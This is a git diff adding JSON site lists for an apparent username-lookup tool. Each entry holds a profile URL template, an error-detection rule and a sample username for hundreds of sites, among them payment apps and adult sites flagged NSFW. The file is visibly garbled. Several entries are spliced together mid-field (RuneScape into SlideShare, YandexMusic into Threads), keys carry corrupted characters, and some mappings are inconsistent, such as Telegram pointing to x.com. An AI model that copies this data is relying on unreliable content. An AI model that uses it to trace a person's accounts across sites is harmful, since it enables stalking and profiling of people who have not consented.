"https://www.reisefrage.net/nutzer/{}", + "urlMain": "https://www.reisefrage.net/", + "username_claimed": "reisefrage" + }, + "Replit.com": { + "errorType": "status_code", + "url": "https://replit.com/@{}", + "urlMain": "https://replit.com/", + "username_claimed": "blue" + }, + "ResearchGate": { + "errorType": "response_url", + "errorUrl": "https://www.researchgate.net/directory/profiles", + "regexCheck": "\\w+_\\w+", + "url": "https://www.researchgate.net/profile/{}", + "urlMain": "https://www.researchgate.net/", + "username_claimed": "John_Smith" + }, + "ReverbNation": { + "errorMsg": "Sorry, we couldn't find that page", + "errorType": "message", + "url": "https://www.reverbnation.com/{}", + "urlMain": "https://www.reverbnation.com/", + "username_claimed": "blue" + }, + "Roblox": { + "errorType": "status_code", + "url": "https://www.roblox.com/user.aspx?username={}", + "urlMain": "https://www.roblox.com/", + "username_claimed": "bluewolfekiller" + }, + "RocketTube": { + "errorMsg": "OOPS! Houston, we have a problem", + "errorType": "message", + "isNSFW": true, + "url": "https://www.rockettube.com/{}", + "urlMain": "https://www.rockettube.com/", + "username_claimed": "Tatteddick5600" + }, + "RoyalCams": { + "errorType": "status_code", + "url": "https://royalcams.com/profile/{}", + "urlMain": "https://royalcams.com", + "username_claimed": "asuna-black" + }, + "Ruby Forums": { + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorType": "message", + "url": "https://ruby-forum.com/u/{}/summary", + "urlMain": "https://ruby-forums.com", + "username_claimed": "rishard" + }, + "RubyGems": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]{1,40}", + "url": "https://rubygems.org/profiles/{}", + "urlMain": "https://rubygems.org/", + "username_claimed": "blue" + }, + "Rumble": { + "errorType": "status_code", + "url": "https://rumble.com/user/{}", + "urlMain": "https://rumble.com/", + "username_claimed": "John" + }, + "RuneScape": { + "errorMsg": "{\"error\":\"NO_PROFILE\",\"loggedIn\":\"false\"}", + "errorType": "message", + "regexCheck": "^(?! )[\\w -]{1,12}(?Page no longer exists", + "url": "https://slideshare.net/{}", + "urlMain": "https://slideshare.net/", + "username_claimed": "blue" + }, + "Slides": { + "errorCode": 204, + "errorType": "status_code", + "url": "https://slides.com/{}", + "urlMain": "https://slides.com/", + "username_claimed": "blue" + }, + "SmugMug": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z]{1,35}$", + "url": "https://{}.smugmug.com", + "urlMain": "https://smugmug.com", + "username_claimed": "winchester" + }, + "Smule": { + "errorMsg": "Smule | Page Not Found (404)", + "errorType": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "username_claimed": "blue" + }, + "Snapchat": { + "errorType": "status_code", + "regexCheck": "^[a-z][a-z-_.]{3,15}", + "request_method": "GET", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "username_claimed": "teamsnapchat" + }, + "SOOP": { + "errorType": "status_code", + "url": "https://www.sooplive.co.kr/station/{}", + "urlMain": "https://www.sooplive.co.kr/", + "urlProbe": "https://api-channel.sooplive.co.kr/v1.1/channel/{}/station", + "username_claimed": "udkn" + }, + "SoundCloud": { + "errorType": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "username_claimed": "blue" + }, + "SourceForge": { + "errorType": "status_code", + "url": "https://sourceforge.net/u/{}", + "urlMain": "https://sourceforge.net/", + "username_claimed": "blue" + }, + "SoylentNews": { + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorType": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "username_claimed": "adam" + }, + "SpeakerDeck": { + "errorType": "status_code", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com/", + "username_claimed": "pylapp" + }, + "Speedrun.com": { + "errorType": "status_code", + "url": "https://speedrun.com/users/{}", + "urlMain": "https://speedrun.com/", + "username_claimed": "example" + }, + "Spells8": { + "errorType": "status_code", + "url": "https://forum.spells8.com/u/{}", + "urlMain": "https://spells8.com", + "username_claimed": "susurrus" + }, + "Splice": { + "errorType": "status_code", + "url": "https://splice.com/{}", + "urlMain": "https://splice.com/", + "username_claimed": "splice" + }, + "Splits.io": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://splits.io/users/{}", + "urlMain": "https://splits.io", + "username_claimed": "cambosteve" + }, + "Sporcle": { + "errorType": "status_code", + "url": "https://www.sporcle.com/user/{}/people", + "urlMain": "https://www.sporcle.com/", + "username_claimed": "blue" + }, + "Sportlerfrage": { + "errorType": "status_code", + "url": "https://www.sportlerfrage.net/nutzer/{}", + "urlMain": "https://www.sportlerfrage.net/", + "username_claimed": "sportlerfrage" + }, + "SportsRU": { + "errorType": "status_code", + "url": "https://www.sports.ru/profile/{}/", + "urlMain": "https://www.sports.ru/", + "username_claimed": "blue" + }, + "Spotify": { + "errorType": "status_code", + "url": "https://open.spotify.com/user/{}", + "urlMain": "https://open.spotify.com/", + "username_claimed": "blue" + }, + "Star Citizen": { + "errorMsg": "404", + "errorType": "message", + "url": "https://robertsspaceindustries.com/citizens/{}", + "urlMain": "https://robertsspaceindustries.com/", + "username_claimed": "blue" + }, + "Status Cafe": { + "errorMsg": "Page Not Found", + "errorType": "message", + "url": "https://status.cafe/users/{}", + "urlMain": "https://status.cafe/", + "username_claimed": "blue" + }, + "Steam Community (Group)": { + "errorMsg": "No group could be retrieved for the given URL", + "errorType": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "username_claimed": "blue" + }, + "Steam Community (User)": { + "errorMsg": "The specified profile could not be found", + "errorType": "message", + "url": "https://steamcommunity.com/id/{}/", + "urlMain": "https://steamcommunity.com/", + "username_claimed": "blue" + }, + "Strava": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com/", + "username_claimed": "blue" + }, + "SublimeForum": { + "errorType": "status_code", + "url": "https://forum.sublimetext.com/u/{}", + "urlMain": "https://forum.sublimetext.com/", + "username_claimed": "blue" + }, + "TETR.IO": { + "errorMsg": "No such user!", + "errorType": "message", + "url": "https://ch.tetr.io/u/{}", + "urlMain": "https://tetr.io", + "urlProbe": "https://ch.tetr.io/api/users/{}", + "username_claimed": "osk" + }, + "TheMovieDB": { + "errorType": "status_code", + "url": "https://www.themoviedb.org/u/{}", + "urlMain": "https://www.themoviedb.org/", + "username_claimed": "blue" + }, + "TikTok": { + "url": "https://www.tiktok.com/@{}", + "urlMain": "https://www.tiktok.com", + "errorType": "message", + "errorMsg": [ + "\"statusCode\":10221", + "Govt. of India decided to block 59 apps" + ], + "username_claimed": "charlidamelio" + }, + "Tiendanube": { + "url": "https://{}.mitiendanube.com/", + "urlMain": "https://www.tiendanube.com/", + "errorType": "status_code", + "username_claimed": "blue" + }, + "Topcoder": { + "errorType": "status_code", + "url": "https://profiles.topcoder.com/{}/", + "urlMain": "https://topcoder.com/", + "username_claimed": "USER", + "urlProbe": "https://api.topcoder.com/v5/members/{}", + "regexCheck": "^[a-zA-Z0-9_.]+$" + }, + "Topmate": { + "errorType": "status_code", + "url": "https://topmate.io/{}", + "urlMain": "https://topmate.io/", + "username_claimed": "blue" + }, + "TRAKTRAIN": { + "errorType": "status_code", + "url": "https://traktrain.com/{}", + "urlMain": "https://traktrain.com/", + "username_claimed": "traktrain" + }, + "Telegram": { + "errorMsg": [ + "Telegram Messenger", + "If you have Telegram, you can contact User ", + "429 Too Many Requests" + ], + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "url": "https://x.com/{}", + "urlMain": "https://x.com/", + "urlProbe": "https://nitter.privacydev.net/{}", + "username_claimed": "blue" + }, + "Typeracer": { + "errorMsg": "Profile Not Found", + "errorType": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://typeracer.com", + "username_claimed": "blue" + }, + "Ultimate-Guitar": { + "errorType": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "username_claimed": "blue" + }, + "Unsplash": { + "errorType": "status_code", + "regexCheck": "^[a-z0-9_]{1,60}$", + "url": "https://unsplash.com/@{}", + "urlMain": "https://unsplash.com/", + "username_claimed": "jenny" + }, + "Untappd": { + "errorType": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com/", + "username_claimed": "untappd" + }, + "Valorant Forums": { + "errorMsg": "The page you requested could not be found.", + "errorType": "message", + "url": "https://valorantforums.com/u/{}", + "urlMain": "https://valorantforums.com", + "username_claimed": "Wolves" + }, + "VK": { + "errorType": "response_url", + "errorUrl": "https://www.quora.com/profile/{}", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "username_claimed": "brown" + }, + "VSCO": { + "errorType": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "username_claimed": "blue" + }, + "Velog": { + "errorType": "status_code", + "url": "https://velog.io/@{}/posts", + "urlMain": "https://velog.io/", + "username_claimed": "qlgks1" + }, + "Velomania": { + "errorMsg": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.", + "errorType": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "username_claimed": "red" + }, + "Venmo": { + "errorMsg": ["Venmo | Page Not Found"], + "errorType": "message", + "headers": { + "Host": "account.venmo.com" + }, + "url": "https://account.venmo.com/u/{}", + "urlMain": "https://venmo.com/", + "urlProbe": "https://test1.venmo.com/u/{}", + "username_claimed": "jenny" + }, + "Vero": { + "errorMsg": "Not Found", + "errorType": "message", + "request_method": "GET", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co/", + "username_claimed": "blue" + }, + "Vimeo": { + "errorType": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "username_claimed": "blue" + }, + "VirusTotal": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://www.virustotal.com/gui/user/{}", + "urlMain": "https://www.virustotal.com/", + "urlProbe": "https://www.virustotal.com/ui/users/{}/avatar", + "username_claimed": "blue" + }, + "VLR": { + "errorType": "status_code", + "url": "https://www.vlr.gg/user/{}", + "urlMain": "https://www.vlr.gg", + "username_claimed": "optms" + }, + "WICG Forum": { + "errorType": "status_code", + "regexCheck": "^(?![.-])[a-zA-Z0-9_.-]{3,20}$", + "url": "https://discourse.wicg.io/u/{}/summary", + "urlMain": "https://discourse.wicg.io/", + "username_claimed": "stefano" + }, + "Wakatime": { + "errorType": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com/", + "username_claimed": "blue" + }, + "Warrior Forum": { + "errorType": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "username_claimed": "blue" + }, + "Wattpad": { + "errorType": "status_code", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "urlProbe": "https://www.wattpad.com/api/v3/users/{}/", + "username_claimed": "Dogstho7951" + }, + "WebNode": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.webnode.cz/", + "urlMain": "https://www.webnode.cz/", + "username_claimed": "radkabalcarova" + }, + "Weblate": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9@._-]{1,150}$", + "url": "https://hosted.weblate.org/user/{}/", + "urlMain": "https://hosted.weblate.org/", + "username_claimed": "adam" + }, + "Weebly": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9-]{1,63}$", + "url": "https://{}.weebly.com/", + "urlMain": "https://weebly.com/", + "username_claimed": "blue" + }, + "Wikidot": { + "errorMsg": "User does not exist.", + "errorType": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "username_claimed": "blue" + }, + "Wikipedia": { + "errorMsg": "centralauth-admin-nonexistent:", + "errorType": "message", + "url": "https://en.wikipedia.org/wiki/Special:CentralAuth/{}?uselang=qqx", + "urlMain": "https://www.wikipedia.org/", + "username_claimed": "Hoadlck" + }, + "Windy": { + "errorType": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "username_claimed": "blue" + }, + "Wix": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "username_claimed": "support" + }, + "WolframalphaForum": { + "errorType": "status_code", + "url": "https://community.wolfram.com/web/{}/home", + "urlMain": "https://community.wolfram.com/", + "username_claimed": "unico" + }, + "WordPress": { + "errorType": "response_url", + "errorUrl": "wordpress.com/typo/?subdomain=", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "username_claimed": "blue" + }, + "WordPressOrg": { + "errorType": "response_url", + "errorUrl": "https://wordpress.org", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "username_claimed": "blue" + }, + "Wordnik": { + "errorMsg": "Page Not Found", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_.+-]{1,40}$", + "url": "https://www.wordnik.com/users/{}", + "urlMain": "https://www.wordnik.com/", + "username_claimed": "blue" + }, + "Wykop": { + "errorType": "status_code", + "url": "https://www.wykop.pl/ludzie/{}", + "urlMain": "https://www.wykop.pl", + "username_claimed": "blue" + }, + "Xbox Gamertag": { + "errorType": "status_code", + "url": "https://xboxgamertag.com/search/{}", + "urlMain": "https://xboxgamertag.com/", + "username_claimed": "red" + }, + "Xvideos": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://xvideos.com/profiles/{}", + "urlMain": "https://xvideos.com/", + "username_claimed": "blue" + }, + "YandexMusic": { + "__comment__": "The first and third errorMsg relate to geo-restrictions and bot detection/captchas.", + "errorMsg": [ + "\u041e\u0448\u0438\u0431\u043a\u0430 404", + "Threads • Log in", + "errorType": "message", + "headers": { + "Sec-Fetch-Mode": "navigate" + }, + "url": "https://www.threads.net/@{}", + "urlMain": "https://www.threads.net/", + "username_claimed": "zuck" + }, + "toster": { + "errorType": "status_code", + "url": "https://www.toster.ru/user/{}/answers", + "urlMain": "https://www.toster.ru/", + "username_claimed": "adam" + }, + "tumblr": { + "errorType": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://www.tumblr.com/", + "username_claimed": "goku" + }, + "uid": { + "errorType": "status_code", + "url": "http://uid.me/{}", + "urlMain": "https://uid.me/", + "username_claimed": "blue" + }, + "write.as": { + "errorType": "status_code", + "url": "https://write.as/{}", + "urlMain": "https://write.as", + "username_claimed": "pylapp" + }, + "xHamster": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://xhamster.com/users/{}", + "urlMain": "https://xhamster.com", + "urlProbe": "https://xhamster.com/users/{}?old_browser=true", + "username_claimed": "blue" + }, + "znanylekarz.pl": { + "errorType": "status_code", + "url": "https://www.znanylekarz.pl/{}", + "urlMain": "https://znanylekarz.pl", + "username_claimed": "janusz-nowak" + }, + "Platzi": { + "errorType": "status_code", + "errorCode": 404, + "url": "https://platzi.com/p/{}/", + "urlMain": "https://platzi.com/", + "username_claimed": "freddier", + "request_method": "GET" + }, + "BabyRu": { + "url": "https://www.baby.ru/u/{}", + "urlMain": "https://www.baby.ru/", + "errorType": "message", + "errorMsg": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432\u044b \u0438\u0441\u043a\u0430\u043b\u0438, \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430", + "\u0414\u043e\u0441\u0442\u0443\u043f \u0441 \u0432\u0430\u0448\u0435\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d" + ], + "username_claimed": "example" + } +} diff --git a/data/sites/snoop.json b/data/sites/snoop.json new file mode 100644 index 0000000..d15e7a2 --- /dev/null +++ b/data/sites/snoop.json @@ -0,0 +1,63308 @@ +{ + "11x2": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://11x2.com/user/home/{}", + "urlMain": "https://11x2.com", + "usernameON": "hazelamy", + "comments": "Oplata", + "bad_site": 1 + }, + "123rf": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "response_url", + "url": "https://ru.123rf.com/profile_{}", + "urlMain": "https://ru.123rf.com", + "usernameON": "rawpixel", + "bad_site": "" + }, + "1337x": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error something went wrong", + "errorMsg2": "Attention Required! | Cloudflare", + "errorMsg3": "блокирован", + "errorTyp��": "message", + "url": "http://1337x.to/user/{}/", + "urlMain": "http://1337x.to", + "usernameON": "adam", + "bad_site": "" + }, + "1911forum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.1911forum.com/members/?username={}", + "urlMain": "https://www.1911forum.com/", + "usernameON": "jswi1980", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "247sports": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "247Sports", + "errorMsg2": "Welcome to the end of the internet!", + "errorTyp��": "message", + "url": "https://247sports.com/user/{}/", + "urlMain": "https://247sports.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "2berega_spb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "2берега.спб.ру - социально-методическая сеть Невского района Санкт-Петербурга", + "errorTyp��": "message", + "errorMsg3": "><title>404", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://2berega.spb.ru/user/{}", + "urlMain": "https://2berega.spb.ru", + "usernameON": "adam", + "comments": "https://2berega.spb.ru/user/{}/&from=peopleonline", + "bad_site": "" + }, + "2d-3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.2d-3d.ru/user/{}/", + "urlMain": "https://www.2d-3d.ru", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "308-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.308-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.308-club.ru", + "usernameON": "sanches36", + "bad_site": "" + }, + "33bru__CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Общая ошибка", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "http://{}.33bru.com/", + "urlMain": "http://33bru.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "35photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://35photo.pro/{}/profile", + "urlMain": "https://35photo.pro", + "usernameON": "alx1", + "bad_site": "" + }, + "3ddd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://3ddd.ru/users/rutut/blogs", + "urlMain": "https://3ddd.ru", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "3dtoday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://3dtoday.ru/blogs/{}", + "urlMain": "https://3dtoday.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "3rm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://3rm.info/user/{}/", + "urlMain": "https://3rm.info", + "usernameON": "donat", + "comments": "cf", + "bad_site": 1 + }, + "42km": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Ничего не найдено...", + "errorTyp��": "message", + "url": "http://www.42km.ru/c?name={}&x=0&y=0&country_id=1&town_id=0&sex=0&grade_id=0", + "urlMain": "http://www.42km.ru", + "usernameON": "adam", + "bad_site": "" + }, + "4allforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://4allforum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://4allforum.ru", + "usernameON": "urban", + "bad_site": "" + }, + "4gameforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
    ", + "errorMsg2": "NoneNone", + "errorMsg3": "Выдающиеся пользователи |", + "errorTyp��": "message", + "url": "https://4gameforum.com/members/?username={}", + "urlMain": "https://4gameforum.com", + "usernameON": "persty", + "bad_site": "" + }, + "4pda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, Ваш поиск не дал никаких результатов.", + "errorMsg2": "<title>Just a moment...", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://4pda.to/forum/index.php?act=search&source=pst&noform=1&username={}", + "urlMain": "https://4pda.to/", + "comments": "cf", + "usernameON": "green", + "bad_site": "" + }, + "4stor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://4stor.ru/user/{}", + "urlMain": "https://4stor.ru", + "usernameON": "adam", + "bad_site": "" + }, + "4x4_tomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://4x4.tomsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://4x4.tomsk.ru", + "usernameON": "svh701", + "bad_site": "" + }, + "50cc": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://50cc.com.ua/index/8-0-{}", + "urlMain": "http://50cc.com.ua", + "usernameON": "1g0g", + "bad_site": "" + }, + "7Cups": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.7cups.com/@{}", + "urlMain": "https://www.7cups.com/", + "usernameON": "blue", + "bad_site": "" + }, + "7dach": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://7dach.ru/profile/{}", + "urlMain": "https://7dach.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Abirvalg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://abirvalg.net/forum/members/?username={}", + "urlMain": "https://abirvalg.net", + "usernameON": "dmitrypioneer", + "bad_site": "", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Able2know": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://able2know.org/user/{}/", + "urlMain": "https://able2know.org", + "usernameON": "yalow", + "bad_site": "" + }, + "Abordazh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "\n403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.excelworld.ru/index/8-0-{}", + "urlMain": "http://www.excelworld.ru", + "usernameON": "Mazila", + "bad_site": "" + }, + "Exo": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://exo.at.ua/index/8-0-{}", + "urlMain": "https://exo.at.ua", + "usernameON": "lara007", + "bad_site": "" + }, + "Exploretalent": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "info-text\">", + "errorMsg2": "userNode\":{}},\"", + "errorMsg3": "undefined", + "errorTyp��": "message", + "url": "https://www.exploretalent.com/{}", + "urlMain": "https://www.exploretalent.com", + "usernameON": "klaus", + "bad_site": "" + }, + "EybooksTO": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 resultados", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://eybooks.to/search/?q={}&quick=1&type=core_members", + "urlMain": "https://eybooks.to", + "usernameON": "invers0r", + "bad_site": 1 + }, + "EyeEm": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "blue | EyeEm Photographer", + "errorMsg2": "Not Found (404)", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "usernameON": "blue", + "bad_site": "" + }, + "F-droid": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.f-droid.org/u/{}/summary", + "urlMain": "https://forum.f-droid.org", + "usernameON": "tip", + "bad_site": "" + }, + "F3_cool": { + "country": "🇱🇻", + "country_klas": "LV", + "errorTyp��": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "usernameON": "blue", + "bad_site": "" + }, + "F6s": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "404", + "errorMsg2": "We think you might", + "errorMsg3": "unavailable in your location", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.f6s.com/{}", + "urlMain": "https://www.f6s.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "F95zone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://f95zone.to/members/?username={}", + "urlMain": "https://f95zone.to", + "usernameON": "retro", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "FA-Wiki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://wiki.fa100.ru/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "http://wiki.fa100.ru", + "usernameON": "Anatolyk", + "comments": "Oplata", + "bad_site": "" + }, + "Fabswingers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.fabswingers.com/profile/{}", + "urlMain": "https://www.fabswingers.com", + "usernameON": "adam", + "bad_site": "" + }, + "Facebook (деятельность запрещена в России)": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.facebook.com/{}/", + "urlMain": "https://www.facebook.com/", + "usernameON": "RED", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "comments": "ZAK_user", + "bad_site": 1 + }, + "Facenama": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://facenama.com/{}", + "urlMain": "https://facenama.com/", + "usernameON": "blue", + "bad_site": 1 + }, + "Fadecloudmc": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fadecloudmc.com/forums/members/?username={}", + "urlMain": "https://fadecloudmc.com", + "usernameON": "jordan", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fallout_reactor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://fallout.reactor.cc/user/{}", + "urlMain": "https://fallout.reactor.cc", + "usernameON": "Xell108", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Fanacmilan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "NameBright - Domain Expired", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fanacmilan.com/index/8-0-{}", + "urlMain": "http://fanacmilan.com", + "usernameON": "milanfan97", + "bad_site": 1 + }, + "Fandom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "usernameON": "Jungypoo", + "bad_site": "" + }, + "FanficsLandia": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fanficslandia.com/usuario/?username={}", + "urlMain": "https://fanficslandia.com", + "usernameON": "sensy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fanlore": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "http://fanlore.org/wiki/User:{}", + "urlMain": "http://fanlore.org", + "usernameON": "red", + "bad_site": "" + }, + "Fanpop": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Fansmetrics": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://fansmetrics.com/en/onlyfans/{}", + "urlMain": "https://fansmetrics.com", + "urlProbe": "https://subseeker.co/creators/{}", + "usernameON": "itsmoremia", + "bad_site": "" + }, + "Fantlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найдено ни одного посетителя", + "errorMsg2": "

    FantLab ru

